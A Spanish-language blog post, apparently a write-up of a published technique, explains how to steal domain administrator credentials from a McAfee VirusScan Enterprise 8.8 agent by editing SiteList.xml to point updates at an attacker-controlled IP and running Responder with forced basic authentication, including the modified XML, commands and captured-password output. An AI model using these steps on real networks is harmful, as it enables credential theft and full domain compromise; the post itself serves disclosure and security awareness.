La consecuencia de hacerlo es que cualquier fallo puede derivar en el compromiso de todos los equipos Windows de una red local.
Hace unos días vimos un ejemplo cuando Toufik Airane publicó en Github cómo capturar las credenciales usadas por un agente McAfee VirusScan Enterprise 8.8 a la hora de intentar actualizarse contra los repositorios definidos en la ePO.
Concretamente los repositorios están definidos en "C:\ProgramData\McAfee\Common Framework\SiteList.xml", donde encontraremos los servidores para conectarse por HTTP o SMB (UNC) además de los nombres de usuario y las credenciales cifradas:
<?xml version="1.0" encoding="UTF-8"?>
<ns:SiteLists xmlns:ns="naSiteList" GlobalVersion="20150327073827" LocalVersion="Fri, 9 Oct 2013 09:23:23 UTC" Type="Client">
<Policies><Setting name="OverwriteClientSites">1</Setting><Setting name="nMaxHopLimit">1</Setting>
<Setting name="nMaxPingTimeout">5</Setting><Setting name="uiFindNearestMethod">2</Setting></Policies>
<SiteList Default="1" Name="SomeGUID">
<SpipeSite Type="master" Name="REPO1" Order="2" Enabled="1" Local="0" Server="servidor.dominio:8005" ServerName="servidor:8005" ServerIP="192.168.1.200:8005" Version="4.0.0"><RelativePath>Software</RelativePath><UseAuth>0</UseAuth><UserName></UserName><Password Encrypted="1">XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX</Password></SpipeSite>
<UNCSite Type="repository" Name="REPO2" Order="1" Server="servidor" Enabled="1" Local="0"><ShareName>Mad</ShareName><RelativePath></RelativePath><UseLoggedonUserAccount>0</UseLoggedonUserAccount><DomainName>*DOMINIO*</DomainName><UserName>usuario_epo</UserName><Password Encrypted="1">XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX</Password></UNCSite>
<HttpSite Type="fallback" Name="REPO3" Order="3" Enabled="1" Local="0" Server="update.nai.com:80"><RelativePath>Products/CommonUpdater</RelativePath><UseAuth>0</UseAuth><UserName>Anónimo</UserName><Password Encrypted="1">XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX</Password></HttpSite>
</SiteList>
</ns:SiteLists>
Como veremos para poder acceder al repositorio "REPO2" se utiliza el usuario 'usuario_epo'el cual, como podemos comprobar a continuación, es además miembro del grupo '*Domain Admins':
PS C:\Users\vmotos> net user usuario_epo /domain
Se procesará la solicitud en un controlador de dominio del dominio *DOMINIO*.
Nombre de usuario usuario_epo
Nombre completo usuario_epo
Comentario
Comentario del usuario
Código de país 000 (Predeterminado por el equipo)
Cuenta activa Sí
La cuenta expira Nunca
Ultimo cambio de contraseña 16/03/2014 7:53:12
La contraseña expira Nunca
Cambio de contraseña 16/03/2014 7:53:12
Contraseña requerida Sí
El usuario puede cambiar la contraseña Sí
Estaciones de trabajo autorizadas Todas
Script de inicio de sesión
Perfil de usuario
Directorio principal
Ultima sesión iniciada 05/02/2016 18:12:03
Horas de inicio de sesión autorizadas Todas
Miembros del grupo local
Miembros del grupo global *Domain Admins
*Domain Users
Se ha completado el comando correctamente.
Como podémos imaginar, a partir de este momento ese usuario se convierte en la golosina más apetecible para cualquier atacante, que sólo tiene que modificar el archivo"SiteList.xml" (en un PC nuevo si la consola está protegida con contraseña) para que apunte a una IP maliciosa que estará escuchando ansiosamente la "llamada" con las valiosas credenciales:
<?xml version="1.0" encoding="UTF-8"?>
<ns:SiteLists xmlns:ns="naSiteList" Type="Client">
<SiteList Default="1" Name="SomeGUID">
<HttpSite Type="fallback" Name="PWNED!" Order="1" Enabled="1" Local="0" Server="192.168.1.32:80">
<RelativePath>LICORNE</RelativePath><UseAuth>1</UseAuth>
<UserName>usuario_epo</UserName>
<Password Encrypted="1">XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX</Password>
</HttpSite>
</SiteList></ns:SiteLists>
Puedes comprobar si tenemos acceso a la consola que la lista de repositorios de AutoUpdate ha sido modificada:
Ahora sólo falta levantar el servidor falso que recoja la contraseña.
git clone https://github.com/SpiderLabs/Responder.git
cd Responder/
python Responder.py -I eth0 --basic
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 2.3
Original work by Laurent Gaffie (lgaffie@trustwave.com)
To kill this script hit CRTL-C
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
DNS/MDNS [ON]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [OFF]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [ON]
Serving HTML [OFF]
Upstream Proxy [OFF]
[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [ON]
Force LM downgrade [OFF]
Fingerprint hosts [OFF]
[+] Generic Options:
Responder NIC [eth0]
Responder IP [192.168.1.32]
Challenge set [1122334455667788]
[+] Listening for events...
Por último forzamos la actualización...Y ya tenemos la contraseña de todo un señor administrador de dominio:
[*] [LLMNR] Poisoned answer sent to 192.168.1.41 for name
192.168.1.32
[HTTP] Basic Client : 192.168.1.41 [HTTP] Basic Username : usuario_epo [HTTP] Basic Password : *\contraseña/*
Fuente: https://github.com/tfairane/HackStory/blob/master/McAfeePrivesc.md
No hay comentarios:
Publicar un comentario